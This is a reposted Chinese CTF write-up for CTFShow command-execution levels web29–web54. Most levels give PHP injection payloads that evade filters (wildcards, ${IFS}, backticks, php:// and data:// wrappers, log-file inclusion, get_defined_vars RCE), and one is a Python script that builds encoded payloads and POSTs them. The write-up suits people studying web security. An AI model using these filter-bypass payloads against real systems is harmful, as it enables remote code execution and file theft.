0


CTFShow Web入门 命令执行(持续更新)

web29:

就过滤了一个flag,先查看当前目录下面有哪些文件

/?c=system('ls');

因为过滤了flag,所以直接用通配符即可

/?c=system('tac fla*');

flag=ctfshow{07ca0a20-53e2-4c7d-9061-8ef4e4920441}

web30:

比上题多过滤了system和php,可以用反引号``来执行系统命令

/?c=echo `tac fl*`;

除了system()、反引号``可以执行系统命令,exec()、shell_exec()、passthru()等函数也可以

flag=ctfshow{c4bec179-8aa8-4a65-8cff-6bdd0ba4951f}

web31:

较上题又多过滤了一些关键词,关键的是过滤了空格,可以用%09、%0a、${IFS}、<等方式来过滤

/?c=echo%09`tac%09fl*`;

flag=ctfshow{51cee231-dc73-4169-baad-03b6f9e46e73}

web32:

这题关键是将括号和反引号给过滤了,那么就不能用命令执行来获取flag了,可以使用include包含配合伪协议来完成

/?c=include"$_GET[a]"?>&a=php://filter/convert.base64-encode/resource=flag.php

这里分号;被过滤掉了,因为php最后一句在?>前可以不加分号,可以采用?>来绕过,作为语句的结束,所以&a=后面可以不受源码中preg_match()函数的过滤影响

得到flag.php源码的base64编码后的值

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OWRlZDQwZmItZWVkMC00MzUwLThlMjUtY2YyZTZiM2Y2ZGMyfSI7DQo=

再进行base64解码后得

flag=ctfshow{9ded40fb-eed0-4350-8e25-cf2e6b3f6dc2}

还可以使用包含日志文件'/var/log/nginx/access.log',然后进行UA头注入来获取flag

web33:

较上题多过滤了",可以继续用上题的做法,include后面不加双引号

/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

flag=ctfshow{342453e6-da8e-41e9-8211-f3b5aae6a625}

web34:

和上题类似

flag=ctfshow{d1b84bb4-a8d1-4d3b-a1cd-cd46f096f663}

web35:

和上题类似,多过滤了左尖括号<,没有实质性的作用

flag=ctfshow{ae3eeb54-37eb-4b5e-b53d-5b2a88f04d7f}

web36:

flag=ctfshow{d07cda18-465e-42d8-8b1c-56369b695b09}

web37:

发现有包含include,又过滤了flag,直接包含他的日志

?c=/var/log/nginx/access.log

修改请求包的UA头,进行注入

然后菜刀进行连接

然后拿到flag

flag=ctfshow{a209e4c6-7ac0-4666-8665-a30ae1f2abed}

还可以用data://text/plain:base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=伪协议也可以

web38:

和上题一样可以用日志包含,然后挂马菜刀连接,和data伪协议,这里用伪协议来完成

?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

flag=ctfshow{d0bd331c-722e-4dc8-b41a-513470dea83f}

web39:

include包含里变量c后面还加了个.php,这里用data伪协议

?c=data://text/plain,<?=system('tac fl*')?>

后面的.php可以不用管,include只会读到?>前

web40:

过滤了很多,但是括号只是过滤的中文的括号

先给payload,然后一步一步拆解

/?c=eval((array_pop(next(get_defined_vars()))));
然后POST传入参数1=system('tac flag.php');    1可换做其他,这是无参数RCE

1.get_defined_vars()函数在php中是返回由所有已定义变量所组成的数组, 我们print_r给他显示出来, 便能直观感受到

2.next(get_defined_vars()), 是查看数组中最后一个键值对, 用print_r显示出来

但如果我们通过POST传入一个1=phpinfo();,那么这时最后一个键值对便是刚输进去的1=phpinfo();

3.array_pop(next(get_defined_vars()))是将数组中最后一个键值对的值弹出,配和POST传入的1=phpinfo(); 弹出的就是phpinfo(), 用print_r显示出来

4.然后将弹出的phpinfo()执行,便是

eval((array_pop(next(get_defined_vars()))));

将phpinfo();换成system('tac flag.php');

flag=ctfshow{e8bfb1a1-bde7-4fe0-9f54-4f70ee862290}

web41:

过滤了数字、大小写字母和一些特殊符号,基本大部分的都过滤了,只能对ASCII码中没被过滤的字符进行匹配,需要用到python写一个自动化脚本,以下是摘自往上的python脚本代码

import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])

def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload

URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

运行脚本,输入本题URL,便能直接获得flag

flag=ctfshow{648da8df-e13f-46e7-a1c1-144f9006fbcc}

web42:

开始命令执行,这里如果直接c=tac flag.php 的话,会将flag值重定向到 /dev/null,同时将程序在后台运行,就无法成功显示flag

可以在后面加分号,或||来进行分隔,payload如下:

/?c=tac flag.php ;

flag=ctfshow{d0b68d30-a2f8-42e7-9da3-85b4b24c5d8d}

web43:

过滤了;和cat,用||来代替,payload如下:

/?c=tac flag.php||

flag=ctfshow{d4678ede-de28-4b4e-871b-4b60dd6e38ae}

web44:

较上题多过滤了flag,用通配符即可绕过,payload如下:

/?c=tac fl*||

flag=ctfshow{fbf26dcf-275f-4aeb-a366-fd4dab9b7acb}

web45:

较上题多过滤了空格,可以用%09,%0a,<,${IFS}等来绕过,payload如下:

/?c=tac${IFS}fl*||

flag=ctfshow{af714921-de7f-4c0a-8c18-d22434f35fd2}

web46:

这题又多过滤的几个特殊符号,通配符*被过滤了,可以用?代替,payload如下:

/?c=tac%09fla?.php||

flag=ctfshow{a6893fad-9aca-4ef6-b266-2b61202c7192}

web47:

和上题基本一样,就多过滤了几个读文件的命令,payload和一样

flag=ctfshow{ac6f7d85-32d1-4c55-86d7-5b432bc62f38}

web48:

依旧一样,多过滤了一些无关紧要的命令,payload不变

flag=ctfshow{b0bea776-75f0-4c42-b485-8c7de9830a69}

web49:

flag=ctfshow{82a7f0d9-91d0-4e0c-98c8-7902a646e853}

web50:

09被过滤,用<过滤空格,通配符?也用不了了,可以用''、""、\来拼接,payload如下:

/?c=tac<fla''g.php||

flag=ctfshow{2301f347-468a-48a7-8f95-f68cb48507c5}

web51:

tac被过滤了,同样可以用\、''、""来拼接,payload如下:

/?c=ta\c<fl\ag.php||

flag=ctfshow{b3eb7b30-8e68-431b-b3de-6f26e7ba634a}

除了这样还有个nl命令也可以读flag.php

web52:

<被过滤了,但是$没有被过滤,可以用${IFS}来绕过空格,payload如下:

/?c=ta\c${IFS}fla\g.php||

但显示flag不在这里

查看根目录有没有

/?c=ls${IFS}/||

有个flag文件

/?c=ta\c${IFS}/fl\ag||

flag=ctfshow{a5aa265b-4ad8-4c1d-9be3-0100392d2a7a}

web53:

和上题一样,就是不用在后面加||了,payload如下:

/?c=ta\c${IFS}fla\g.php

flag=ctfshow{22e61c33-df08-4b97-b199-f8915a432571}

web54:

过滤了很多,但是没过滤cp和mv,payload如下:

mv${IFS}f???.php${IFS}tj.txt

然后访问tj.txt

flag=ctfshow{d5b95076-f0f3-4df6-8be2-3d56fe6fcacf}

虽说过滤了很多读文件的命令,但还可以用uniq命令来读取flag.php文件

web55:

标签: web安全

本文转载自: https://blog.csdn.net/tj13995958709/article/details/138088991
版权归原作者 Snow--Leopard 所有, 如有侵权,请联系我们删除。

“CTFShow Web入门 命令执行(持续更新)”的评论:

还没有评论